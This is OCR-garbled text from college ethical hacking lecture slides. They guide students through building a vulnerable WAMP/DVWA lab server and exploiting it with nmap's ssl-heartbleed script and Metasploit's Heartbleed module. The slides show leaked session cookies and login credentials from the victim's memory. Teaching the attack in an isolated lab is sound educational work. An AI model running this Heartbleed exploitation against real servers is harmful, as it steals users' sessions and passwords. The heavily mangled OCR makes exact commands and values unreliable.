# Mote: Configurations that use IPvE hut not IPwvd-mapped addresses need
# Listen directives: “"Listen [::]:443" and "Listen 0.0.0,0:443"
#

#Listen 443

oL isten 10.?6. 201:443 | 2) Change to your pod number

S5l Global Context

A17 ss5L configuration in this context applies hoth to
the main server and all ssL-enabhled virtual hosts.

WampServer

File Edit Yiew Favorites Tools Help

eBack A '\Q lﬁ pSearch [-Ef' Folders "

1) Edit this file
Address |b C:iwampibintapachelapachez, 2,21 corflextra )
Falders b |'i] htkpd-autoinde: |i] httpd-languages [EXhttpd-ssl
£ cgi-bin 3| m httpd-day |ﬂ httpd-rnanual B httpd-userdir
2 ) conf = H httpd-default m httpd-rmpm |ﬂ httpd-whosks
3 extra M |ﬂ htkpd-info |ﬂ htkpd-rultilang-errordoc
1| |3

,’r.‘.' start &= Heartbleed skt | i [C httpd-ssl - Notepad "{u 11

223
Update IP address in the httpd-ssl.conf config file for your pod number
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gst. 1959 ™

[EH-WinXP]

' @ Heartbleed
REC o

Address |5 C:\Documents and Settingsicis76 studentiDeskkopiHeartbleed
: 4 |2)Commands =| README
File and Folder Tasks A | = |3 Config_files ) wampserver2.2d-x32

D) credit
@[} Rename this folder 1) Co py this

(y Move this folder [C)openssl-1.0.1-i386-win32 .
I'D Copy this folder dl rec t or y

P,

| & www

File Edit View Favorites Tools Help

C: \wamp\www |y }3 Search || Folders [Tf]~

Address) ) Ciwampiwwww

~ ‘ index.php
File and Folder Tasks i =) testmysql.php

®jj Rename this folder
Heartbleed iy Move this folder
[D Copy this Folder

&) Publish this folder to 2 ) Paste the
the Web ;
&t Share this folder dl rector y h ere

[

4 s Start @ Heartbleed e CIUWINDOWS\syste. .. ®?) 9:57 PM

224
Copy the DVWA files to the DocumentRoot folder
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[EH-WinXP]

-
Recycle Bin

Va
v,

Internet
Explorer

E www directory
Apache

PHP

MySQL

Wém‘pSérver

Heartbleed

4] webGrind
Quick Admin
Start All Services

Stop All Services

Restart All Services

Put Online

& Heartbleed en CAWINDOWS syste... ®) 10:25PM

WAMPSERVER 2

Restart services so SSL changes take effect
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est. 1859 %

[EH-WinXP]

’ -
Recycle Bin

o
v

Internet
Explorer

WampSér}zer

Heartbleed

/,’ start & Heartbleed e CHAWINDOWS!syste... ®) 10:27PM

If your changes were correct the status icon should turn green after a few seconds
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Change MySal
password

(EH-WinXP-xX)
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gst, 1659 ™

[EH-WinXP]

P W ‘.
Recycle Bin

7
v

Internet
Explorer

\WarmpServer

. ﬁ Version

Heartbleed

BE mMysqQL console

| my.ini

= Start All Services
[ ] MysQLlog

Stop All Services
Restart All Services

- r Put Online
s Start @& Heartbleed . 10:28 PM

Bring up the MySqgl command line console




[EH-WinXP]
<no password needed for MySql Console>

set password for 'root'@'localhost' = password('Cabrillo');

e c:wampibinimysqlimysqgl5. 5. 20\bin\mysgl.exe

Enter password:

elcome to the MySQL monitor. Commands end with ; or “g.
Your MuSQL connection id is 1

Server version: 5.5.20-1log MySQL Community Server (GPLY

Copyright <c> 288H,. 2811, Oracle and-sor its affiliate=s. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and-sor its
affiliates. Other names may bhe trademarks of their respective
OWUNEPS -

Type “help:® or *~h"® for help. Type *“c’ to clear the current input statement.

mysgl> set password for "root’'(@' localhost® = password<’Cabrilio’);
Query OK. W rows atfected (M_MZ sec)

Change the MySql password which is also used by MyPhpAdmin
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' @ Config_files

File  Edit  Wiew

Fawvarites

CIS 76 - Lesson 14

Tools  Help

-]
g,r

C:\Documents and Settings\cis76 student\Desktop\Heartbleed\Config files

Inl
Ex
File and Folder Tasks

Iim Rename this File
[y Move this file

Copy this File

File  Edit  ‘Wiew

Favorites  Tools

Address|| ) C\Documents and Settingsicis76 studentiDeskkopiHeartbleediCanfig_files

V|GD

1:@ config.inc

— |®]httpd

= m httpd-ssl
m phprmyadmin

1) Copy this file

Help

W ST RS EFTET

Address E Crywamplapps\phpriyadming. 4.10.1 ]

Folders

= 15 apps

B phpmyadming.4.10.1 — |C)libraries i]l:us;ula';.f_media 3d|:u_datadict B u:II:u:st
Heattbleed ) sqbuddy1.3 3 o C)locale E]changelug 5| db_export B]db_tr
5 webagrind1,0 o 2cerselns | 5) Paste (and overwrite)
= 3 bin [Cscripts li]chk_rel
= |C3) apache (setup :.3 the f/le hel‘e
E]cunfig.samp!

& Config_files

7J start

= ) Apachez.2.21 3 ICS)themes

X [ Jcontrib i]bru:uwse_ﬁ:ureigners &l CREDITS
= [Chis ﬂ bs_disp_as_mime_type _i] db_create

=

] ¥ L4 1l |

B phprvyadming.4.10.1 o CHwampibinimysglim. ..

€ i045PM

Update the config.inc.php file with the one in the Heartbleed folder
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[EH-WinXP]
<snipped>
'db server' ]

'db user' ] = 'root';

'"db password' ] = 'Cabrillo';

<snipped>

_DVWA['default security level']

<snipped>

= '127.0.0.1";
'db_database' ] = '"dvwa';

— "lOW",’

B R R R

Excerpts from the updated httpd-ssl.conf file
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est. 1859 %

[EH-WinXP]

——

' & Config files

Rec

- [5]x]]

File Edit VYiew Favorites Tools  Help %

C:\Documents and Settings\cis76 student\Desktop\Heartbleed\Config files

Inl AddressfI) C:\Documents and Settingsicis76 studentiDesktopiHeartbleediConfig_files | V‘ Go
EX . » ‘@ config.inc
File and Folder Tasks A — |#])hetpd

— |®] httpd-ssl

|#] phpmyadmin 1) COpy this file

@i} Rename this file
[y Move this file
) Copy this file

File

Edit View Favorites Tools Help

p Search ‘E Folders

'

C:\wamp\alias

WampServer .
address I@ C:\wamplalias

Folders X
= 1) wamp 2| |#] sqlbuddy

VIGo

’ B €3 s — [Elwebgrind 2) Paste (and overwrite)
i -~ 1 the file here
# (2 phpmyadmin3.4.10.1

# ) sqlbuddy1.3.3
I3 webgrind1.0
= 5 bin

:’1’ start & Config_files e ciywampibinimysglim. .. ’(. 10:49 PM

Update the phpmyadmin.conf file with the one in the Heartbleed folder
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[EH-WinXP]
<snipped>

<Directory "c:/wamp/apps/phpmyadmin3.4.10.1/">
Options Indexes FollowSymLinks MultiViews
AllowOverride all

Order Deny,Allow
Allow from all
</Directory>

Excerpts from the updated phpmyadmin.conf file
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gst, 1659 ™

[EH-WinXP]

¥V - ‘
Recycle Bin

~
A

Internet
Explorer

& Localhost
4] phpMyadmin

Wampserver i
MampServer www directory

Heartbleed
webGrind

Quick Admin
Start All Services

Stop All Services

Restart All Services

— _ Put Online
iq Start @& Config_Ffiles rc:\ c:iwamplbinirysd : 10:53 PM

WAMPSERVER 2.2

Restart services so all changes take effect
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gst. 1959 ™

[EH-WinXP] https://10.76.xx.201/phpmyadmin

File Edit Wiew History Bookmarks Tools  Help

M phptywadmin x AL Untrusted Connection

(-J" | hittps:}110.76.5.201 jphpmyadrmin e i':ﬁgearch A 9 3 A =

This Connection is Untrusted

You have asked Firefox ko connect securely to 10.76.5.201, but we can't confirm that wour
conneckion is secure,

Mormally, when vou bry to connect securely, sites will present trusted identification to prove that oo
are gaoing to the right place, However, this site's identity can't be verified,

what should I Do?

If wou usually connect to this site without problems, this error could mean that someone is trying bo
impersonate the site, and vou shouldn't continue,

Get me out of here!

Technical Details

I Understand the Risks

—‘I—' -
1y Start M 2 Windows Explarer e O wamphbintmysglim. . } Untrusted Connectio. .. "{I!’I 11131 PM

Run FireFox and click through security warnings

236



CIS 76 - Lesson 14

File Edit Miew — . m—
Add Security Exception

You are about to override how Firefox identifies this site.

T — 1 4 Legitimate banks, stores, and other public sites will not ask you to do this. —_—
(€)@ howi| LR = s g ’ s A ® =
= Server o
Location: | kbps:f10.76.5. 201 fphpmyadmin | Get Certificate | F
Certificate Skatus
This site attempts ko identify itself with invalid infarmation,
Wrong Site
oy
The certificate belongs ko a different site, which could mean that someone is trving to
impersonate this sike.
Unknown Identity ve that you
The certificate iz not trusted because it hasn't been verified as issued by a trusked aukhority
using a secure signature,
s brwing ko
Permanently store this exception Cation, Even
Four
Confirm Security Exception Cancel =
brusted
LS Leci N L8|y L SC LW ) Y
IL Add Exception... H
w

-3 s start mn 2 Windows Explarer e Crwamnptbinhmesglim, .. } Untrusted Connectia. ..

237
Add the exception to use our self-signed "unknown" certificate
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[EH-WinXP]

File Edit Wiew History Bookmarks Tools  Help

;H phipMy&drin e L phpltyAdmin

.'.(- | @ | https:/10.76.5.201/phprmyadming c | | Q, search | ﬂ' E

phpMuyAdmin
Welcome to phpMyAdmin

| |
| Language F

English e
| . |
& | Log in &
Username: [
|rDDt |
Passworil: 1
‘ (1111 1]]] |

—

.-I; start W 2 ‘Windows Explorer = | e Ciwampibinimysglim, . )} phpMywadmin - Mozilla. ..

Login as root with password = Cabrillo
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[EH-WinXP]

File Edit Wiew History EBookmarks  Tools [=]u]
im phptywadmin x

(' | @ | https:f/10,76.5.201/phpmyadmingindes, phpzdb=rmysah c ‘ | Q, Search | ﬂ’ E 4+ H 9 =

N
phpMuyAdmin
A4 Structure L] saL -, Search i Guery [& Expont * More

S8z @0 @ Table . Action

i rriysq| V| [] columns_priv = Browse 34 Structure [2] Search € Inzert [ Empty @
| columns_priv ] db |=] Browse b Structure % Search ¥€ Insent [ Empty @
=] db [] event [E| Browse 24 Structure B2 Search ¥€ Inzert [ Empty @
|| evert [] func {=| Browse 4 Structure 2] Search € Insert [ Empty &
.l.' =+ =

j Hne ¥ ] general_log |=] Browse 4 Structure % Search ¥€ Insent [ Empty @
1| general_lag

[E help_categary | [ help_category |=] Browse b Structure % Search ¥€ Insent [ Empty @
'g el iz [] help_keywaord |=] Browse 24 Structure % Search ¥€ Insert [ Empty @
[=] help_relation

/| help_topic O help_relation || Browse 34 Structure % Search #¢ lnsent {4 Empty &
] host help_tapi [ Browse B Structure @ Search ¥ nsert [§ Empty ©

help_topic rowse ructure earch %€ Inse m

| ndb_binlog_index B help_tog b 4 s

| plugin [] host {=| Browse & Structure [ Search € Insert [T Empty @
‘J Rrac ] ndb_binlog_index = Browse 34 Structure [2 Search 3¢ Insert [T Empty @
\| procs_priv 8 = ErEs = i = )

| ¥ 3 | >

® 2 Windows Explarer oo O wamplbintmysglim, .. ¥ 10.76.5.201 | localho.., ’(___,I 11:34 PM

Navigate to the mysql database, structure tab

239



CIS 76 - Lesson 14
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Login to your EH-Kali-xx VM
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EH-Kali] nmap -p 443 --script ssl-heartbleed 10.76.xx.201

root@eh-kali-05:~# nmap -p 443 --script ssl-heartbleed 10.76.5.201

Starting Nmap 7.25BETAl ( https://nmap.org ) at 2016-11-28 00:01 PST
Nmap scan report for 10.76.5.201
Host is up (0.00032s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE :
| The Heartbleed Bug is a serious wvulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to be
protected by SSL/TLS encryption.

State: VULNERABLE

Risk factor: High

OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-

betal) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
disclosure of otherwise encrypted confidential information as well as the
encryption keys themselves.

|
| References:

| http://cvedetails.com/cve/2014-0160/

| http://www.openssl.org/news/secadv _20140407.txt

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
MAC Address: 00:50:56:AF:16:3A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
root@eh-kali-05:~#

Check if EH-WinXP-xx is vulnerable to Heartbleed
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Applications ~ Places = Sun 22:54

[EH-Kali]

Favorites armitage

01 - Information Gathering

beef xss fr...
02 - Vulnerability Analysis

03 - Web Application Analysis metasploit ...

04 - Database Assessment
msf payloa...
05 - Password Attacks

06 - Wireless Attacks SReChE i

07 - Reverse Engineering “ social engi...

08 - Exploitation Tools
sqlmap
09 - Sniffing & Spoofing
10 - Post Exploitation termineter
11 - Forensics
12 - Reporting Tools
13 - Social Engineering Tools
14 - System Services

Usual applications

Run Metasploit




[EH-Kali]

search heartbleed

use auxiliary/scanner/ssl/openssl heartbleed
set RHOSTS 10.76.xx.201

set VERBOSE true

run

Terminal e O O
File Edit View Search Terminal Help
--=[ 455 payloads - 39 encoders - 8 nops |
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

st > search heartbleed

Matching Modules

Disclosure Date Rank De
scription

auxiliary/scanner/ssl/openssl heartbleed 2014-04-07 normal Op
enSSL Heartbeat (Heartbleed) Information Leak

auxiliary/server/openssl heartbeat client memory 2014-04-07 normal Op
enSSL Heartbeat (Heartbleed) Client Memory Exposure

msf > use auxiliary/scanner/ssl/openssl _heartbleed
mst auxiliary( ) = set RHOSTS 10.76.
RHOSTS == 10.76.5.201

mst auxiliary( ) = set VERBOSE true
VERBOSE => true

msf auxiliary( ) = runfj

Select the Heartbleed exploit, set the options (RHOSTS and VERBOSE), and run
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[EH-Kali]
Applications = Places = Terminal = Sun 23:29

Terminal

File Edit View Search Terminal Help

.201:443 - Length: 4

.201:443 - Handshake #1:

.201:443 - Length: O

.201:443 - Type: Server Hello Done (14)
.201:443 - Sending Heartbeat...

.201:443 - Heartbeat response, 65535 bytes

.201:443 - Heartbeat response with leak

.201:443 - Printable info leaked:

.i+...E.H..

=Lnbnnbnunbnun Ll

0100101
Firefox/43.0. Accept lmagefpng image/*;q=0.8,*/*;9=0.5. .Accept-Language: en-US,
en;q=0.5..Accept-Encoding: gzip, deflate..Referer: https://10.76.5.201/phpmyadmi
n!phpmyadmin.css.php?server:l&token:2edcfﬁaEaa8?fc325eech33ﬂc?3c399d&js_frame:ri
ght&nocache=5619835082. .Cookie: phpMyAdmin=v9hu702emhs3klbj8uql8ll5mch@jabd; pma
_lang=en; pma collation connection=utf8 general ci; pma mcrypt iv=HU2aRAWcrEw%:3D
; pmalser-1= SHABGSnQBUQ%SD pmaPass-1=Yhsci6S07Xs%3D .Connection: keep-alive....

: 4b943b/cebdop” TZ.AL)S. LY ML@P

Scroll through the output and look for cookies used by the current
MyPhpAdmin login session on EH-WinXP-xx
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est. 1859 %

[EH-WinXP]

File Edit ‘iew History Bookmarks Tools  Help

M phptywadmin

Cookies

Search:

The following cookies are stored on your cormputer:

Site - Cockie Mame
{_i10.76.5.201 pria_lang
{i10.76.5.201 prna_callation_connection
{_10.76.5.201 pma_mcrypk_e
L 110.76.5.201 phpty Admin

prnallser-1

0.76.5.201 priaPass-1

Mame: pmallser-1

Content: BWABD3INSEL %30

Host: 10.76.5.201

Remove Selected Remove &l

. s Start 2 'Win xplorer e Cwampibimtmysalim, .. } Options - Mozilla Fire

245
Pancakes > Options > Privacy > remove individual cookies
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est. 1859 %
[EH-WinXP]

File  Edit jew iskory ) Tools  Help

;m phpMyAdrin * M 10.76.5.201 | localhost [ s, # # Opkions

'(' ) L) Firefox | about:preferences#privacy ey HO\ Search | ﬂ’ E 4+ & 9 =

Cookies

Search:

The fallowing cookies are stored on your computer:

Site - Cookie Name

{0,76.5.201 pma_lang
{110.76.5.201 prna_collation_connection
Cn.76.5.201 pma_merypt_iv

I n.7e.5.201 phphtyadmin
{0.76.5.201 prallser-1

10,76.5.201 prnaPass-1

Mame: pmaPass-1

Content: YhscifSO7Hs %30

Host: 10.76.5.201

Eemove Selectad Fermove All

7 s Start w2 Win xplorer e ciiwampibinimysglim.. . } Options - Mozilla Firefox

246
Pancakes > Options > Privacy > remove individual cookies
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0100101
Firefox/43.0. Accept 1mage/png,1mage/‘,q 0.8,*/*%;0=0.5..Accept-Language: en-US,
en;q=0.5..Accept-Encoding: gzip, deflate..Referer: https://10.76.5.201/phpmyadmi
n/phpmyadmin.css.php?server=1&token=2edcfbabaa87fc025eech330¢c73¢c399d&js frame=ri
ght&nocache=5619835082. .Cookie: phpMyAdmin=v9hu702emhs3klbj8uql8115mchOjabd; pma
lang=en; pma collation connection=utf8 general ci; pma mcrypt iv=HU2aRAWcrEws%3D
; pmaUser-1= 8WABO3n96u0%30 pmaPass-1=Yhsci6S07Xs%3D .Connection: keep-alive..
4b943b/co0doo” "Z.A.)S..Y.M.@P

[EH-WinXP]

10,76.5,201

. 110.76.5.201 Pass-1 .
- e [EH-WinXP]

Name: pmaUser-1 10.76.5.201 pmaPass-1

Content: 8WABO3n96uQ%3D

Name: pmaPass-1
Host: 10.76.5.201

Content: Yhsci6SO7Xs%3D

Host: 10.76.5.201

Verify the leaked credentials shown on EH-Kali match the actual credentials in

the phpAdmin cookies on EH-WinXP. 247
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est. 1059 %

Heartbleed
Exploit

DVWA login session



File Edit ‘“iew History i Help

im phipfyadriin M phptyadmin

&= @ | https:/10.76.5.201/dvwaflogin.php [ e ||':1.Search | ﬂ’ = ¥+ #H B'

Wt
D XTI i I.'."' by

— o Ly

Thabhle to conhect to the database.
mysSgl _error ()

C]in:o setup the database.

—

.r‘ll-"-l Sta n [ 2 Windows Explorer | oo ciwampbintrsgli. . ) Mazilla Firefox f(l 11:41 PM

249
Run FireFox, browse to https://10.76.5.201/dvwa/ and click "here" link.
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est. 1959 %

[EH-WinXP]

File Edit Wiew History Bookmarks Tools  Help

M phpfyadrnin x| H phpMyAdmin

6 B | htps:f10,76.5,201 fdvwa/setup. php c Q, search ﬂ’ g w ‘ ﬁ B‘ =

Home | Database setup

Instructions | Click on the 'Create / Reset Database' button below to create or reset your database. If yc
| sure you have the correct user credentials in fconfigfconfig.inc. php

Ifthe database already exists, it will be cleared and the data will be reset.

Brute Force

e R e Backend Database: MySQL

CSRF
Insecure CAPTCHA

Create / Reset Database

SOL Injection

SOL Injection (Blind)
Upload

XSS reflected

YEQO ctnradd

File Inclusion |
I

& 2 Windows Explarer Fon c:hwampibindmysglim. .. 2 Damn Yulnerable We. .. L3 d 11:42 PM

250
Create the DVWA database
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Edit “iew History B atks  Tools  Help

M phpyAdrmin x| M phpfyAdrmin

€ | B | https://10.76.5.201 /dvwalsetup.php

(Foms ) | Database setup

Instructions | Click on the 'Create / Reset Database' button below to create or reset your database. If yo
| | sure you have the correct user credentials in foconfig/config.inc. php

If the database already exists, it will be cleared and the data will be reset.

Brute Force

SR e e Backend Database: MySGQL

CSRF
Insecure CAPTCHA

[ Create f Reset Database

—— -

\

|
|
|
|
File Inclusion |
|
|
I
|

- - \
2N nigsting |' Database has been created. 1
SOL Injection (Blind) : :
‘users' table was created. I
Upload : !
XSS reflected l‘ Data inserted into 'users' table. II

¥EC otarnd N o o e o e e e e o

< | >

72 start

[ fa 2 windows Explorer | c:warmpibinrmyesglim. .. 7} Damn Yulnerable We. .. % | 11:43 PM

" was created = success! Click Home link to login
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[EH-WinXP]

Fil=  Edit Wiew History Bookmarks  Tools  Help

m phpllyadmin » M phipryadriin Damn Yulnerable Web App (Dwwa. .

| €= ) @ | https:/110.76.5.201 jdvwaflogin.php 5 HQSearch |f? i= + & & =

DVWA )

Username

adrmin

Password

/4 Start f 2 windows Explorer  » ot ciwampibinimysdlim... } Damn Yulnerable we. .. R, 1L44pm

252
Login as admin with password = password
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':i:'ff' https://10.76. 5. 201/dvwa/index.php Ed ¢ Q, search ﬁ E "' ﬁ* =

Instructions

Setup

Brute Force

Command Execution

CSRF

Insecure CAPTCHA

File Inclusion

5QL Injection

SQL Injection (Blind)

Upload

K55 reflected

Welcome to Damn Vulnerable Web App

Damn Yulnerable Web App (DWVWA) is a PHP/MySQAL web application that is damn
are to be an aid for security professionals to test their skills and tools in a legal envin
better understand the processes of securing web applications and aid teachers/stude
application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provi
any internet facing web server as it will be compromised. VWe recommend downloadir
onto a local machine inside your LAN which is used solely for testing.

Disclaimer

We do not take responsibility for the way in which any one uses this application. We
the application clear and it should not be used maliciously. WWe have given warnings :
prevent users from installing DVWA on to live web semvers. If your web senver is comy
DWWA it is not our responsibility it is the responsibility of the person/s who uploadec

General Instructions

You are now logged into the DVWA (Damn Vulnerable Web App)
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[EH-Kali] nmap -p 443 --script ssl-heartbleed 10.76.xx.201

root@eh-kali-05:~# nmap -p 443 --script ssl-heartbleed 10.76.5.201

Starting Nmap 7.25BETAl ( https://nmap.org ) at 2016-11-28 00:01 PST
Nmap scan report for 10.76.5.201
Host is up (0.00032s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE :
| The Heartbleed Bug is a serious wvulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to be
protected by SSL/TLS encryption.

State: VULNERABLE

Risk factor: High

OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-

betal) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
disclosure of otherwise encrypted confidential information as well as the
encryption keys themselves.

|
| References:

| http://cvedetails.com/cve/2014-0160/

| http://www.openssl.org/news/secadv _20140407.txt

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
MAC Address: 00:50:56:AF:16:3A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
root@eh-kali-05:~#

Check if EH-WinXP-xx is vulnerable to Heartbleed
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Applications ~ Places = Sun 22:54

[EH-Kali]

Favorites armitage

01 - Information Gathering

beef xss fr...
02 - Vulnerability Analysis

03 - Web Application Analysis metasploit ...

04 - Database Assessment
msf payloa...
05 - Password Attacks

06 - Wireless Attacks SReChE i

07 - Reverse Engineering “ social engi...

08 - Exploitation Tools
sqlmap
09 - Sniffing & Spoofing
10 - Post Exploitation termineter
11 - Forensics
12 - Reporting Tools
13 - Social Engineering Tools
14 - System Services

Usual applications

Run Metasploit




[EH-Kali]

search heartbleed

use auxiliary/scanner/ssl/openssl heartbleed
set RHOSTS 10.76.xx.201

set VERBOSE true

run

Terminal e O O
File Edit View Search Terminal Help
+ -- --=[ 455 payloads - 39 encoders - 8 nops |
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf = search heartbleed
Matching Modules

Disclosure Date
scription

auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Op
en55SL Heartbeat (Heartbleed) Information Leak

auxiliary/server/openssl heartbeat client memory 2014-04-07 normal Op
enSSL Heartbeat (Heartbleed) Client Memory Exposure

> use auxiliary/scanner/ssl/openssl hearthleed
auxiliary( ) = set RHOSTS 10.76.
RHOSTS == 10.76.5.201
msT auxiliary( ) = set VERBOSE true
VERBOSE => true
msf auxiliary( ) = runf]

Select the Heartbleed exploit, set the options (RHOSTS and VERBOSE), and run
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[EH-Kali]

Terminal (— O] @1

File Edit View 5Search Terminal Help
Length: 4
Handshake #1:
Length: ©

- Type: Server Hello Done (14)
- Sending Heartbeat...
- Heartbeat response, 65535 bytes
- Heartbeat response with leak
- Printable info leaked:

1, dppllcatlen;xhtml+xm1 appllcdtlon;xml q=0.9,*/*,0=0.8. .Accept-Language: .en us,
en;q=0.5..Accept-Encoding: gzip, deflate..Referer: https://10.76.5.201/dvwa/logi

n.php..Cookie: security=Llow; PHPSESSID:aSSIOhBEBSrrgijﬂceopugmqgﬁ .Connection: K

eep-alive 00!.t.bLF. i -urlencoded. Eentent Length: 44.
Jusername= ddmlﬁ\pdSSWOId pdssworduLogln Login&...)...

en keep alive....... g8..99..2;VM.5. .L

View the victim's leaked memory contents and look for
"username=admin" and "password=password" strings.
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https://simms-teach.com/docs/cis76/cis76final-project.pdf




CIS 76 - Lesson 14 N ' I |W

Next Class

Assignment: Check the Calendar Page on the web site to
see what is due next week.

Quiz questions for next class:

« No more quizzes!
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